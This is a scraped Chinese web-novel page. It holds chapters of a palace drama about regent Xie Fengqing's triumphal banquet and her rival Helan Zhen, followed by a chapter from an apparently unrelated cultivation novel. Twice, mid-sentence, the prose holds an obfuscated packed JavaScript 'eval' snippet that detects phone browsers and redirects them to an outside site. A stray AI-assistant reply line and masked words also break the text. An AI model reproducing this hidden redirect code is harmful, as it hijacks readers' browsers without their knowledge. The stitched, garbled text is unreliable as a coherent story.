“诸位!今日之凯旋,非是终点,而是全新的起点!这座冰火龙椅,这天降之兆,预示着大燕即将开启一个前所未有的时代!从今往后,铁龙将不再仅仅连通北疆,它将驶向世界的每一个角落!火龙炮舰将巡弋四海,护我商道,扬我国威!女学将开遍天下,让我大燕儿女,皆能读书明理,为国效力!” “凤皇万岁!世界铁路!世界**库!”人们的欢呼声有了更具体、更宏大的目标,声浪一浪高过一浪。 夜幕彻底笼罩大地,但整座京城却亮如白昼。金銮殿前的广场上,盛大的夜宴已然开始。无数盏宫灯、彩灯被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16739185|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点燃,琉璃盏、夜光杯折射出璀璨的光芒,珍馐美馔的香气弥漫在空气中。来自大燕各地的代表、周边各国的使节齐聚一堂,觥筹交错,笑语喧哗,共同庆祝这场史诗般的凯旋。 谢凤卿已然换下白日那身彰显武勋的银甲红袍,此刻身着一袭精心裁制的深红色宫装长裙,出现在夜宴的辉煌灯火之下。这红色并非艳俗的大红,而是某种沉淀了岁月与威仪的暗红,如同陈年葡萄酒般醇厚,又似暮色中最后一道霞光般庄重。裙裾以最上等的云锦织就,质地细腻垂顺,随着她的步履微微波动,宛若暗夜中流动的星河。长裙之上,以金线密绣着繁复华丽的图案——展翅欲飞的凤凰穿梭于盛放的牡丹丛中,凤凰的每一片翎羽、牡丹的每一重花瓣都栩栩如生,在宫灯光辉的映照下,金线折射出柔和而璀璨的光芒,雍容华贵,不可逼视。 她的如云青丝被巧妙地绾成一个典雅的发髻,点缀着数支珍珠簪钗,而最引人注目的,仍是髻侧那支金凤步摇。金凤口中衔下的长长珠串,随着她最细微的动作轻轻摇曳,流光溢彩,与她耳垂上同款的东珠耳珰相映生辉。这身装扮,恰到好处地柔化了她眉宇间经年累月沉淀下的杀伐决断之气,转而赋予她一种掌权者特有的沉稳与明丽,既有女性的柔美,更有上位者的威严,令人望之而生敬慕之心。 她立于宴会最高处,手持一盏晶莹剔透的琉璃夜光杯,杯中琥珀色的美酒随着她的动作微微荡漾。她面向在场济济一堂的宾客,目光沉静而有力,缓缓扫过每一张或熟悉或陌生的面孔。清越的声音并不需要刻意提高,便清晰地穿透了夜宴的喧嚣与歌舞的悠扬,传入每个人的耳中: “诸位亲王、公卿、将军们,远道而来的使节们,以及所有为大燕今日之盛景付出心血的人们!”她的开场沉稳而有力,“今日,我们欢聚于此,举杯同庆!但这杯中之酒,所庆贺的,绝不仅仅是一场边境战役的胜利,不仅仅是北疆的尘埃落定!” 她略微停顿,让话语的力量充分沉淀,目光变得更加深邃:“我们真正庆祝的,是一个旧时代的终结,是压在华夏脊梁上数百年的边患阴云被彻底驱散!我们庆祝的,更是一个全新时代的开启!今日,班师回朝,万人空巷,百姓箪食壶浆以迎王师,这盛况空前的景象,仅仅是我们为这个崭新时代奏响的第一个雄壮音符!” 她的手臂毅然挥出,指向浩瀚的夜空,声音中充满了无限的热情与坚定的信念:“我们的目光,早已超越山川河流的界限;我们的志向,早已飞向更广阔的天地!大燕的下一站,将是星辰大海,将是整个世界!我们要让龙旗所向,莫非王土;要让铁轨所至,皆为通途!” 这番石破天惊的宣言,让整个宴会现场出现了片刻的寂静,随即爆发出热烈的回应。各国使节、部落首领、文武百官纷纷举起酒杯,无论是真心叹服还是暗藏心思,此刻无不被这吞吐天地的宏大气魄所感染、所震撼。 第107章万世太平、江山永固 “为摄政王千岁干杯!” “为世界铁路宏图干杯!” “为万世太平、江山永固干杯!” 欢呼声、祝酒声此起彼伏,气氛达到了高潮。然而,仿佛是为了给这番豪言壮语加上一个最绚烂的注脚,夜空中,骤然传来一声尖锐的呼啸! 一道耀眼的亮光如同逆行的流星,直冲深邃的云霄,在达到顶点时轰然炸开,化作一朵巨大无比、流光溢彩的金色牡丹,花瓣层层叠叠,仿佛在夜幕这块巨大的黑丝绒上绽放,美得令人窒息。这仅仅是一个开始!紧接着,无数道色彩各异的光芒争先恐后地升空,噼啪作响,将原本沉寂的夜空点缀得亮如白昼。火龙、彩凤、祥云、瑞兽……各种吉祥图案竞相绽放,雷鸣般的掌声和惊叹声从广场各处传来。 但最令人叹为观止的奇景紧随其后。那些看似零散的烟花,在空中巧妙地组合、排列,竟在数息之间,勾勒出了一幅巨大而清晰的世界地图轮廓!山脉的起伏、海洋的广阔,都以闪耀的光线勾勒出来。更神奇的是,在这幅光绘的地图之上,一条由无数金色火星组成的、金光闪闪的铁龙,被赋予了生命一般,沿着一条预设的发光路线蜿蜒前行,它的光芒最为炽亮,是整幅图景的灵魂所在。这铁龙矫健地跨过象征高山的阴影,越过代表海洋的深蓝色光晕,一路向西,气势磅礴,最终,它的光芒停留在了一片用银色火花标示的、广阔而神秘的未知大陆上空,继而爆散成万千金色光点,如同种子般,缓缓“融入”了那片土地,象征着文明与联系的种子将在那里生根发芽。 整个京城,百万军民,都被这神迹般的景象惊呆了,欢呼声达到了顶点,直震得杯中的酒液都在荡漾。 “看!那就是我们的目标!”谢凤卿适时地提高声音,指着夜空中那尚未完全消散的壮丽图画,她的声音因激动而微微发颤,却充满了无可阻挡的激情与向往,“那就是大燕的未来!让铁龙驶向世界,让火龙炮舰巡弋四海,让女学开遍天下,让华夏文明的光辉照亮每一个角落!这,将是我们这一代人,留给后世最伟大、最不朽的遗产!” 就在这万众瞩目、光华璀璨的时刻,萧御不知何时已悄然穿过人群,来到了谢凤卿的身侧。他依旧是一身便于行动的深色劲装,与周围华服美饰的宾客相比,显得格外低调而可靠。他手中端着的不是美酒,而是一杯温热的、正散发着淡淡药香的参茶。 他将其无声地递到谢凤卿手中,动作自然流畅,仿佛演练过无数次。他的声音低沉,只有近在咫尺的谢凤卿能够听清,语气带着不容错辨的关切与一丝不易察觉的心疼:“凤卿,润润喉吧。你已经连续三日未曾好好合眼,今夜宴席漫长,后面还需接受百官朝贺,需得保存些体力。”他唤了她的名字,而非敬称,在这个公开又私密的瞬间,流露出超越君臣的情谊。他的目光快速扫过她被宫灯照亮的脸庞,虽然依旧明丽动人,但他却能看出那精致妆容下难以掩盖的疲惫痕迹。 谢凤卿微微一怔,感受到指尖传来的茶杯温热,以及他那份沉静的关怀。她没有推辞,接过茶盏,指尖在不经意间触碰到他微凉的手指,一股暖意却顺着指尖悄然流入心田。她借着举杯饮茶的动作,掩去唇边一丝复杂的笑意,也低声回应道:“放心,我还撑得住。只是这‘星辰大海’,听起来壮阔,想起来却觉得肩头担子又重了几分。”这一刻,她不再是那个睥睨天下的摄政王,倒像是一个在信赖之人面前稍露脆弱的寻常女子。 萧御的目光与她短暂交汇,深邃的眼眸中传递着无声的支持与承诺。“无论如何,”他声音极低,却字字清晰,“臣,永远在您一转身就能看到的地方。”说罢,他微微后退半步,再次将主导舞台的光芒完全交还给她,自己则如同她的影子,重新融入她身后的光暗交界处,继续履行他守护的职责。夜空中的烟花渐渐稀疏,但这场盛宴,以及它所开启的新时代,却刚刚进入最精彩的篇章。 谢凤卿接过那盏温热的茶杯,指尖在不经意间触碰到他微凉的手指,两人俱是微微一颤,一种难以言喻的电流在触碰间传递。她没有拒绝这份好意,低头轻呷了一口,温热的液体顺着喉咙滑下,暖意弥漫至四肢百骸。 “还记得吗?”萧御望着夜空下绚烂后又重归寂静的黑暗,忽然开口,声音低沉而带着一丝怀念,“我们第一次见面时的情景。” 好的,我们来一起将这段充满张力与情感的戏份进行精细化扩写,使其更加丰满、动人,符合您对情感深度和篇幅的要求。 --- 宫灯流转着温润的光晕,如水般倾泻在汉白玉的栏杆上,也柔和地勾勒着萧御的侧脸轮廓,将他往日那份凌厉的锋芒悄然隐去,只余下一种深邃的宁静。谢凤卿抬眼望他,那光影仿佛不仅照亮了夜色,也照进了她心底最柔软的角落,让她眼中不禁泛起真切而温暖的笑意,那笑意如同初春的溪流,冲破了冰封的寒意,带着鲜活的生命力。 “怎么会忘记?”她的声音里带着一丝陷入遥远回忆的飘忽,以及难得流露的、全然放松的调侃,“那时你躺在棺材里,气息全无,面色青白,装死装得那般投入,连我都险些要被骗过去,想着是否该为你准备一副上好的楠木,风光大葬了。谁知你骤然发难,那只手冷得像冰,力道却大得惊人,就那么扼上来……”她下意识地、极轻地碰了碰自己的脖颈,那里早已光滑如初,仿佛那致命的触感只是一场幻觉,“那一下,萧督主,可是真的差点要了我的命。” 她的尾音微微上扬,带着一种劫后余生、时过境迁后的轻松与揶揄,仿佛在谈论一件与己无关的 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这简单的一句话,却仿佛穿越了无数腥风血雨,踏过了累累尸骨,最终沉淀为最朴素的誓言。“在你身侧”——从暗皇司督主到监国亲王,从互相试探的盟友到托付后背的同伴,身份在变,局势在变,唯独这一点,从未改变。 两人的目光在璀璨灯火与迷离夜色的边界处交汇,无声地缠绕。宫灯的光晕为他们隔绝出一方静谧的小天地,远处隐约传来的丝竹与欢笑声仿佛来自另一个世界。千言万语,在此刻都显得苍白无力,一种深刻入骨的默契与难以割舍的羁绊,在无声的凝视中静静流淌,比任何誓言都更撼动人心。他守护的,早已超越了臣子对君主的忠诚,是他倾尽所有也要护其周全的、独一无二的谢凤卿;她信赖的,也不仅是“监国亲王”的能力与权柄,更是萧御这个人,是他那颗无论历经多少阴谋算计、权力倾轧,却从未对她改变过的赤诚之心。 夜宴的喧嚣持续至深夜,当最后一批宾客带着醉意、满足与对未来的无限憧憬离去,广场上鼎沸的人声终于渐渐平息,只余下晚风拂过宫灯流苏的细微声响,以及远处传来的、规律巡夜的更鼓声。谢凤卿婉拒了内侍与宫人的贴身跟随,只身一人,提着略显沉重的宫装裙摆,一步步,缓缓踏上金銮殿前那九重高的汉白玉台阶。 夜风带着初春的微凉,吹拂着她因饮了酒而有些发烫的面颊,也吹动了她鬓角散落的几缕青丝。她走得很慢,仿佛每一步都在丈量着这条通往权力顶峰之路的长度,也在回味着这一路走来的艰辛与荣光。当她终于站在最高处,凭栏而立时,整座京城,乃至更远处的苍茫大地,仿佛都匍匐在她脚下。 放眼望去,万家灯火,如同无数被神仙随手撒落的碎金与明珠,又像是倒映在人间的璀璨星河,在沉沉的夜色中无声地闪烁、绵延,直至视野的尽头。每一盏灯火背后,都是一个家庭,一段人生,一份平凡的悲欢与微小的祈愿。这些温暖的光芒,不再是她初入京城时所见那般疏离与冰冷, 第108章注定,只能是敌人。 它们此刻在她眼中,交织成了一幅名为“太平”与“生机”的瑰丽画卷。这些光,照亮着寻常巷陌里的炊烟袅袅,照亮着学堂内的朗朗书声,也照亮着边关将士们得以安睡的梦境。它们如此真实,如此温暖,静静地诉说着这个曾经内忧外患、风雨飘摇的王朝,如何在她与无数人的共同努力下,一步步祛除沉疴,焕发新生,正如同一个沉眠已久的巨人,缓缓舒展筋骨,即将迈开步伐,驶向那更加广阔而充满未知的天地。 她的王朝。这是她用智慧、勇气、甚至一次次赌上性命,从废墟与黑暗中亲手重塑的王朝。一股难以言喻的复杂情绪在她胸中涌动,是自豪,是欣慰,是一路走来的疲惫瞬间涌上,更是一份沉甸甸的责任感——她要守护好这片灯火,这片她亲手点燃的、属于天下人的光明。 也正是在这片由她守护的万家灯火之上,无垠的夜空展开它墨蓝色的绒幕,星辰静谧地俯瞰着人间。在这至高之处,权力与孤独仿佛一对孪生兄弟,常伴左右。但此刻,谢凤卿却并未感到那蚀骨的孤寂。因为她知道,无论她站得多高,走得多远,总有一个人,会如影随形,会在她回首时,永远立于她身侧,如同最坚固的堡垒,最锋利的刀刃,亦是……最温暖的归处。 --- 一件还带着体温的玄色披风,伴着熟悉的清冽气息——那是常年萦绕在他身上的淡淡松香与霜雪的味道——悄然落在了谢凤卿略显单薄的肩头。披风的内衬用的是上好的墨狐裘,柔软而温暖,瞬间驱散了夜深入骨的寒凉。这个动作是如此自然,如此熟悉,仿佛在无数个这样的深夜里,已经重复过千百回。 “夜深露重,当心着凉。”萧御的声音在她身后响起,一如既往的简洁,没有多余的辞藻,却似一道暖流,蕴含着无需言说的关切与守护,比那件披风更能抵御这世间的风寒。 谢凤卿没有回头,甚至没有一丝惊诧。在这个守卫森严的宫禁之巅,能如此悄无声息靠近她的人,本就只有一个。她只是下意识地抬起手,用指尖拢了拢披风的前襟,将那份温暖紧紧包裹住自己。丝绸衬里触及微凉的肌肤,带来熨帖的安心感。她微微仰头,望着天际那轮渐趋圆满的明月,轻声问道,那声音轻得像是自言自语,带着一丝不易察觉的迷茫,又像是在向最信任的人寻求一种确认:“萧御,你说……我们真的能做到吗?将图纸上的线条化为横贯大陆的钢铁巨龙,让铁轮驶过那些连最详尽的海图都还是一片空白的神秘地域?让大燕的玄龙旗,真正插遍这个世界我们已知和未知的每一个角落?” 她的目光似乎穿透了眼前的万家灯火,投向了遥远而不可知的未来。那蓝图太过宏大,宏伟到令人心生敬畏;那前路太过漫长,漫长到仿佛看不到终点。纵然意志如铁,在如此浩瀚的使命面前,偶尔泛起的一丝疑虑,也属人之常情。 “能。”萧御的回答没有丝毫迟疑,斩钉截铁,如同巨石坠地,带着一种对她近乎信仰般的坚定。他向前迈了半步,与她并肩立于汉白玉栏杆前,目光同样投向无垠的夜空,但他的眼神却比星光更加锐利和确定。“只要是你想做的事,就一定能做到。”他重复了一遍,语气平稳却蕴含着千钧之力,“无论前路是刀山火海,丛生荆棘,还是万丈深渊,迷雾重重,”他微微侧首,目光落在她被月光镀上一层银边的侧脸上,“我都会在你身边。为你开道,斩尽一切阻碍;为你守夜,护你永世周全。” 这不是甜言蜜语,这是誓言,是早已融入骨血的本能,是超越了一切世俗情感的、更加深厚的羁绊。他的存在本身,就是她最坚实的后盾。 月光如水,澄澈透明,静静流淌下来,洒落在下方金銮殿层层叠叠、金光璀璨的琉璃瓦上。那些瓦片在白天吸收了大量阳光,此刻在月华的浸润下,竟泛出一种清冷而神圣的辉光,宛如仙人宫阙,不似人间。殿内,因为夜色和距离显得有些幽深,但那把象征至高权柄的龙椅,却仿佛能自动吸纳所有的光线,在清澈的月华下,轮廓清晰,显得格外宁静、空灵。它静静地安置在那里,不带一丝焦躁,仿佛一位极具耐心的智者,洞悉一切,正静静地、笃定地等待着它命定的主人,在恰当的时机,来完成一段注定要载入史册的千古传奇。 而历史的笔,早已饱蘸了浓墨。不远处的值房内,鬓发已斑白的老史官,伏案于灯下,神情肃穆。他提起那支狼毫笔,在铺开的宣纸上,以工整而端庄的楷书,一笔一划,郑重写下:“二月初一,凯旋盛典,万民归心。空悬龙椅,终见明主。世界铁路之宏图,始于斯夜。”写罢,他轻轻吹干墨迹,目光透过窗棂,望向高台上那一双身影,眼中流露出一种见证历史的激动与欣慰。他知道,自己记录的,不仅仅是一个夜晚,一个仪式,而是一个波澜壮阔时代开启的序章。 夜风拂过,带来远处隐约的笙歌,更反衬出这高台之上的静谧。两颗为同一宏图而跳动的心,在月光下,在历史铺开的卷轴前,找到了共同的节奏和方向。前路漫漫,但有何惧?吾道不孤。 这一夜,京城的灯火,为希望与未来而彻夜未熄。一个新的时代,一个由谢凤卿亲手开启的时代,正在这片璀璨的灯火与无尽的期望中,缓缓拉开它波澜壮阔的序幕。 远方,北疆雪原之巅。 北疆孤影:赫兰真的决断时刻 红衣如血映雪原,一念之差定乾坤。北疆的夜,是与京城歌舞升平截然相反的世界尽头。 这里没有朱红宫墙内流泻出的温暖烛光,也没有朱雀大街上万人空巷的喧 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赫兰真勒马立于悬崖边缘,胯下的战马“赤焰”似乎也感知到主人的心绪,不安地踏着蹄子,喷出的白气在寒冷的空气中瞬间凝结成霜。夜风猎猎,疯狂地撕扯着她宽大的衣袂,那身红衣在风中狂舞,如同战旗般飘扬;她如墨的长发也随风狂舞,几缕发丝拂过她棱角分明的脸颊,她却浑然不觉。 她的目光,穿越了千山万水,死死地钉在东南方向。在那遥远的天际线尽头,夜空似乎被一种朦胧的、温暖的光晕所照亮,与北疆这边纯粹的黑夜和冷白的雪光形成鲜明对比。她知道,那片微亮的夜空之下,就是大燕的京城。此刻,那座她曾短暂停留过的繁华都城,正在举行一场史无前例的盛大狂欢,万民沸腾,普天同庆,为了那个女人的凯旋。 而那场喧嚣至极的盛宴,与她赫兰真,毫无关系。 一股复杂难明的情绪,在她深邃的眼眸中翻腾、涌动。那里面有不甘,如同毒蛇般啃噬着她的心——凭什么那个叫谢凤卿的女人可以站在光芒万丈的顶端,接受万众景仰,而她却要在这苦寒之地,与风雪为伍?那里面有羡慕,不是羡慕那虚妄的荣光,而是羡慕对方能够拥有施展抱负的舞台和麾下效死的将士;那里面,甚至还有一丝极淡的、连她自己都不愿承认的敬佩。但最终,所有这些情绪,都化为了一种深深的落寞和决绝。 她知道,那个名叫谢凤卿的女人,此刻正站在权力的绝对顶峰,睥睨天下,志得意满。她们本应是这世间最相似的同类,同样才华盖世,同样胸怀大志,同样不甘被命运摆布。然而,命运的诡谲之处就在于,它让两条本该平行的直线产生了短暂交集,却又让她们迅速背离,驶向截然相反的方向,而且注定,只能是敌人。 第109章两个女子的命运 “谢凤卿……”她轻声念着这个名字,声音低得几乎被风声淹没。那语调奇异非常,不像是在呼唤一个对手,更像是在咀嚼一段过往。这个名字,有时像一个最恶毒的诅咒,让她恨不能将其挫骨扬灰;有时,却又像一声充满无奈和宿命感的叹息,为那无法改变的对立和那一点点微弱的、早已被现实碾碎的同理心。 就在赫兰真心神激荡,胸中翻涌的恨意与决绝几乎要破体而出之际,她身后的悬崖边缘,一片比夜色更浓的黑暗开始无声地蠕动。 他们并非从某个隐蔽的入口走出,而是如同墨汁滴入水中,自纯粹的夜色里缓缓渗透、凝聚成形。来者约莫二十人,却仿佛带走了周围所有的光与热,使得这片区域的温度都骤然降低。他们如同从冥府归来的幽灵卫队,每一个个体都完美融入了整体的死寂,若非那若有若无的杀气凝聚不散,几乎与背景的岩石和阴影别无二致。 这些黑衣人全身笼罩在特制的夜行衣下,衣料似乎能吸收光线,在冷冽的月光下也不反分毫。他们脸上戴着只露出双眼的面罩,那双眼眸在黑暗中偶尔闪过的精光,如同雪原上饥渴的野狼,冷静、残忍,且充满了对杀戮的渴望。他们的脚步轻得诡异,仿佛脚底生有肉垫,踏在积雪和碎石上,竟连最细微的“咯吱”声都未曾发出,只有当他们移动时,衣袂与空气摩擦产生的微弱风声,才证明着他们并非静止的雕像。甚至连他们的呼吸,都经过极致的控制,微弱得如同冬日即将僵死的虫豸,间隔长得令人心慌,完美地掩盖了所有生命迹象。 在这群完美的杀戮机器中,为首的那名男子显得格外突兀。他的身形格外高大魁梧,即便在同伴中也如鹤立鸡群,宽阔的肩膀和厚实的胸膛,即使隔着那身特制的黑衣,也能感受到衣服下所蕴含的**性力量,仿佛一头收敛了爪牙的洪荒巨兽。他上前一步,动作间带着一种经过千锤百炼、近乎本能的协调与精准,对着赫兰真那抹决绝的红衣背影,恭敬地躬身行礼。那躬身的幅度、角度,甚至手臂弯曲的弧度,都标准得如同用尺子量过,带着军人特有的、刻入骨子里的刻板与一丝不苟。 当他开口时,发出的声音沙哑异常,像是破损的风箱在艰难抽动,又像是声带曾被烈火或**彻底摧毁后勉强愈合,每一个字音的吐出都伴随着令人耳膜不适的摩擦感。然而,就是在这把残破不堪的嗓音里,所蕴含的恭敬与绝对的服从,却是不容置疑的,仿佛即便赫兰真此刻令他纵身跃入眼前的万丈深渊,他也会毫不犹豫地执行。 赫兰真并未立刻回应。她依旧保持着那个遥望东南的姿势,仿佛化作了悬崖之巅的另一尊石像,唯有被风吹起的红衣与发丝,证明着这是一个有生命的躯体。她的目光似乎穿透了千山万水,牢牢钉在了那片代表着昔日荣耀与当下**的微弱光晕上。那片光,是她的执念,也是她的梦魇。她要将这光亮,连同它背后所象征的一切——金碧辉煌的宫殿、虚伪的誓言、彻骨的背叛——都深深地烙进脑海,成为支撑她走下去的燃料。 身旁的赤焰,这匹通体如炭、唯四蹄雪白的骏马,似乎比主人更缺乏耐心。它打了一个沉重而湿热的响鼻,喷出的白气瞬间在寒冷的空气中凝成霜雾,那对燃烧着火焰般的琥珀色眼眸瞥向赫兰真,带着通人性的焦躁。包裹着铁皮的蹄子再次刨动着积雪,露出底下深色的冻土,发出“叩、叩”的闷响,在这极致的寂静中,如同敲击在每个人心鼓上的倒计时。 时间,仿佛被这极寒冻结,变得粘稠而缓慢。每一片雪花的飘落,每一次风的转向,都清晰可辨。寒风依旧不知疲倦地嘶吼,卷起的雪沫依旧无情地拍打着一切,远处京城那诱惑又可恨的光晕也依旧在固执地闪烁。然而,在这方悬崖之上,空气却紧绷得如同拉满的千石弓弦,任何一丝微小的异动,都可能引发石破天惊的巨变。分列四周的黑衣“影卫”们,如同从雪地中生长出的铁杉,连呼吸都调整到了最微弱的频率,化作了真正的石雕,唯有紧握刀柄的手,以及面罩下那一双双锐利如鹰隼的眼睛,透露出他们全神贯注的等待,等待着那将决定无数人命运的最后指令。 赫兰真眼中最后的一丝波动,就在这几乎凝固的氛围中,悄然消散了。那波动,或许是人性中残留的、对和平的最后一丝犹豫,如同冰雪覆盖下挣扎的草芽;或许是对那条未曾选择的、充满妥协与平庸的道路的微弱幻想,幻想另一种风和日丽的人生;又或许,仅仅是对即将踏上的、注定遍布荆棘与鲜血的复仇之路,那源自生命本能的一丝忌惮。然而,这一切柔软的、属于过去的涟漪,终究被北疆特有的、能冻结灵魂的寒潮所吞没,瞬间冰封,再无痕迹。取而代之的,是一片无边无际、深不见底的冰冷决绝。那决绝之色如此浓烈,如此纯粹,甚至让环绕在她周身的空气都仿佛骤然降低了温度,连飘落的雪花都似乎畏惧地绕开了那袭红衣。 下一瞬,她猛地一拉缰绳!动作干脆利落,带着一种斩断所有退路的决然。 赤焰早已等待多时,立刻发出一声高亢入云的嘶鸣,声震四野,仿佛在向这片雪原宣告它的出征。它灵性地扬起前蹄,在空中虚踏几下,随即矫健地调转马头,肌肉贲张的身躯充满了**性的力量。 那袭红衣,随着骏马的转身,在苍茫无尽的素白背景下,划出一道凌厉而决绝的弧线。那红色,不再是静止燃烧的孤火,而是化作了奔腾的血色激流,如同传说中天神挥出的血刃,以无可阻挡之势,狠厉地劈开了这巨大的、象征着过往平静与束缚的素白绸缎。这一劈,斩断了犹豫,斩断了幻想,也斩断了所有回头的可能。 清冷而坚定的声音,不高,却清晰地传入每一名影卫的耳中,如同掷入冰湖的石子,激起一圈圈责任的涟漪: “出发。” 两个字,清晰、冰冷、不带任何感**彩,从她嫣红的唇中吐出,却比这北疆的寒风更加刺骨。没有豪言壮语,没有战前动员,只有简简单单的两个字,却宣告了一条无法回头的道路的开启。 为首的影卫首领头颅垂得更低:“是!” 下一刻,这群黑衣人如同被夜色本身吞噬般,悄无声息地融入黑暗。他们的动作整齐划一,仿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16755019|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 佛经过千百次的演练——先是微微屈身,继而如鬼魅般向后撤步,深色的斗篷与阴影完美交融。不过眨眼工夫,悬崖之上便只剩下赫兰真与她的赤焰马。雪地上留下的几排浅浅脚印,成了他们存在过的唯一证据,如同历史长河中那些默默无闻却推动巨变的无名者的印记。 赫兰真勒住缰绳,最后回眸瞥向东南方。那片令人憎恶的光亮,此刻在她眼中化作谢凤卿头戴凤冠、接受万民朝拜的画面。她唇角勾起一抹冰冷而妖异的弧度,那笑容里淬着剧毒的恨意,却也带着棋逢对手的奇异兴奋。 "谢凤卿,"她低语如风,"好好享受你暂时的荣光吧。"声音轻得几乎被风雪吞没,却蕴含着钢铁般的决心。"这天下这盘棋,才刚刚布下第一子,远未到终局。" 她猛地一夹马腹,赤焰领会主人心意,发出一声划破夜空的激昂长嘶。这匹神骏如一团燃烧的烈焰,驮着它的主人,义无反顾地冲下悬崖。马蹄踏碎积雪,溅起一片晶莹的雪雾。红衣猎猎,在陡峭的山路上几个起落,便消失在了茫茫林海深处。 此刻的京城,正是华灯初上、歌舞升平之时。朱雀大街上人潮涌动,庆贺的烟花在夜空中绽放;皇宫内苑,丝竹管弦不绝于耳,美酒佳肴香气四溢;谢凤卿或许正站在高台之上,接受着文武百官的朝拜和万民的欢呼——那是属于她的万丈荣光。 而赫兰真选择的,是一条截然相反的道路。她的前路隐藏在墨般浓稠的黑暗与未卜的未知中,那里有精心编织的阴谋、有冷酷无情的杀戮、有防不胜防的背叛。每向前一步,都可能踏入选定的陷阱;每信任一人,都可能遭遇致命的出卖。但正是在这片危机四伏的黑暗里,或许也埋藏着颠覆一切的希望火种。 这两个女子的命运,如同历史长河在某个特殊的岔路**汇的两股激流。她们短暂相遇,碰撞出照亮夜空的激烈火花,却终究要沿着各自的轨迹,奔向截然不同的远方。一个向着光明至高处攀登,一个向着黑暗最深处潜行。她们恰似夜空中两颗逆向而行的星辰,各自散发着耀眼夺目的光芒,却注定要将这片天空撕裂成两半,让仰望者不得不做出选择。 北风依旧在呼啸,卷起细碎的雪沫,如同时光的手掌,轻轻抚过悬崖上的一切痕迹。不过一盏茶的工夫,那些脚印、那些马蹄印,甚至空气中残留的微弱气息,都被这场永不停歇的风雪掩盖得干干净净。悬崖恢复了它千年如一的寂静与洁白,仿佛今夜什么都不曾发生。 只有天边那轮冷月,静静凝视着这片雪原上发生的一切。它见证了一个时代的序幕被悄然拉开,见证了两位杰出女性就此分道扬镳,也预见了这场即将席卷天下的风暴。但它始终沉默无言,如同最严谨的史官,将所有的秘密都封存在它清冷的光辉里,等待后世去发掘、去评说。 而在地平线的那一端,京城的庆典还在继续。没有人知道,在这个看似平静的夜晚,天下的格局已经因这两个女人的抉择,悄然发生了谁也无法预料、却必将影响深远的巨变。历史的车轮,正朝着一个全新的方向缓缓转动。 第110章姐妹相聚 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 